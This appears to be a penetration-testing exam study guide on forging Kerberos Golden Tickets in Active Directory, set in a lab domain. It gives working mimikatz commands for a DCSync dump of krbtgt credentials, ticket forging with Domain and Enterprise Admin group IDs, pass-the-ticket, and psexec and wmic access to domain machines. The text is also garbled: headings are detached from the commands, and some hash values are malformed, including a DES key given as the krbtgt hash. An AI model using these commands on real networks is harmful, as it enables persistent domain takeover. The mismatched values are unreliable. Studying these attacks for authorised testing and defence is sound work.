Golden Ticket attacks represent the ultimate domain persistence mechanism in Active Directory environments. When you compromise the krbtgt account, you literally own the domain.
"When we compromise the krbtgt account, we own the domain" π
"We can request access to any resource or system on the domain"
"Golden tickets == complete access to every machine"
π« What is a Golden Ticket?
A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) that provides:
Unlimited domain access - Access to any resource in the domain
Persistent access - Tickets valid for 10 years by default
Stealth operation - Bypasses normal authentication logging
Complete domain control - Administrative access to all systems
The krbtgt Account
Key Distribution Center (KDC) service account
Signs all Kerberos tickets in the domain
Compromise = complete domain control
Password rarely changed (often never!)
π Prerequisites for Golden Ticket Creation
Required Information
krbtgt NTLM hash - Obtained from NTDS.dit or DCSync
Domain SID - Security Identifier of the domain
Domain name - FQDN of the target domain
Target username - Any valid or invalid username
Common Acquisition Methods
π Golden Ticket Creation Process
Step 1: Gather Required Information
Step 2: Create Golden Ticket with Mimikatz
Step 3: Use Golden Ticket
π Practical Golden Ticket Usage
Remote Access Examples
PowerShell Integration
π Advanced Golden Ticket Techniques
Custom Group Memberships
Extended Validity Period
Cross-Domain Golden Tickets
π― PJPT Exam Strategy
Time Allocation (10-15 minutes)
5 minutes: Extract krbtgt hash and domain information
β Business impact - Clear demonstration of compromise consequences
π Final Notes
Golden Ticket attacks represent the pinnacle of Active Directory persistence. They provide:
Unlimited domain access with administrative privileges
Long-term persistence that survives most remediation efforts
Stealth capabilities that evade standard monitoring
Maximum business impact through complete domain control
PJPT Success Tip: Golden Tickets are not just about persistence - they're about demonstrating complete domain compromise and the business-critical nature of the security failure. Use them to show the client that their entire domain infrastructure is under attacker control! π
Remember: With great power comes great responsibility. Golden Tickets provide complete domain access - use this capability to demonstrate impact while maintaining professional boundaries and avoiding business disruption.
# From NTDS.dit extraction or DCSync - Real MARVEL Domain Example
Domain: MARVEL.local
Domain SID: S-1-5-21-301214212-3920777931-1277971883
krbtgt hash: 26b5da5eecb54cc1
# Alternative extraction methods
mimikatz.exe "lsadump::dcsync /domain:MARVEL.local /user:krbtgt"
# Output shows:
# * Kerberos
# Default Salt : MARVEL.LOCALkrbtgt
# Credentials
# des_cbc_md5 : 26b5da5eecb54cc1
# Real MARVEL Domain Golden Ticket Creation (from screenshot)
mimikatz.exe "kerberos::golden /user:Administrator /domain:marvel.local /sid:S-1-5-21-301214212-3920777931-1277971883 /krbtgt:26b5da5eecb54cc1 /ticket:golden.kirbi"
# Advanced options with multiple groups
mimikatz.exe "kerberos::golden /user:Administrator /domain:MARVEL.local /sid:S-1-5-21-301214212-3920777931-1277971883 /krbtgt:26b5da5eecb54cc1 /groups:512,513,518,519,520 /ticket:golden.kirbi /ptt"
# The command structure shown in screenshot:
# mimikatz # kerberos::golden /User:Administrator /domain:marvel.local /sid:S-1-5-21-301214212-3920777931-1277971883 /krbtgt:26b5da5eecb54cc1
# Load ticket into memory
mimikatz.exe "kerberos::ptt golden.kirbi"
# Verify ticket is loaded
klist
# Test access to domain controller
dir \\dc.marvel.local\c$
# Access Domain Controller
psexec.exe \\dc.marvel.local cmd
# Access any domain system
psexec.exe \\workstation.marvel.local cmd
# Mount remote shares
net use Z: \\fileserver.marvel.local\share
# Execute commands remotely
wmic /node:target.marvel.local process call create "cmd.exe"
# Create Golden Ticket with PowerShell
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::golden /user:admin /domain:marvel.local /sid:S-1-5-21-2894840767-2101617394-1820205593 /krbtgt:9b25135001a69d53af33aa6cdc8915735 /ptt"'
# Test access
Test-NetConnection dc.marvel.local -Port 445
Get-WmiObject -Class Win32_ComputerSystem -ComputerName dc.marvel.local
# Include specific group RIDs for enhanced access
# 512 = Domain Admins
# 513 = Domain Users
# 518 = Schema Admins
# 519 = Enterprise Admins
# 520 = Group Policy Creator Owners
mimikatz.exe "kerberos::golden /user:admin /domain:target.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /groups:512,518,519 /ticket:golden.kirbi"
# Create ticket valid for specific timeframe
mimikatz.exe "kerberos::golden /user:admin /domain:target.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /startoffset:0 /endin:600 /renewmax:10080 /ticket:golden.kirbi"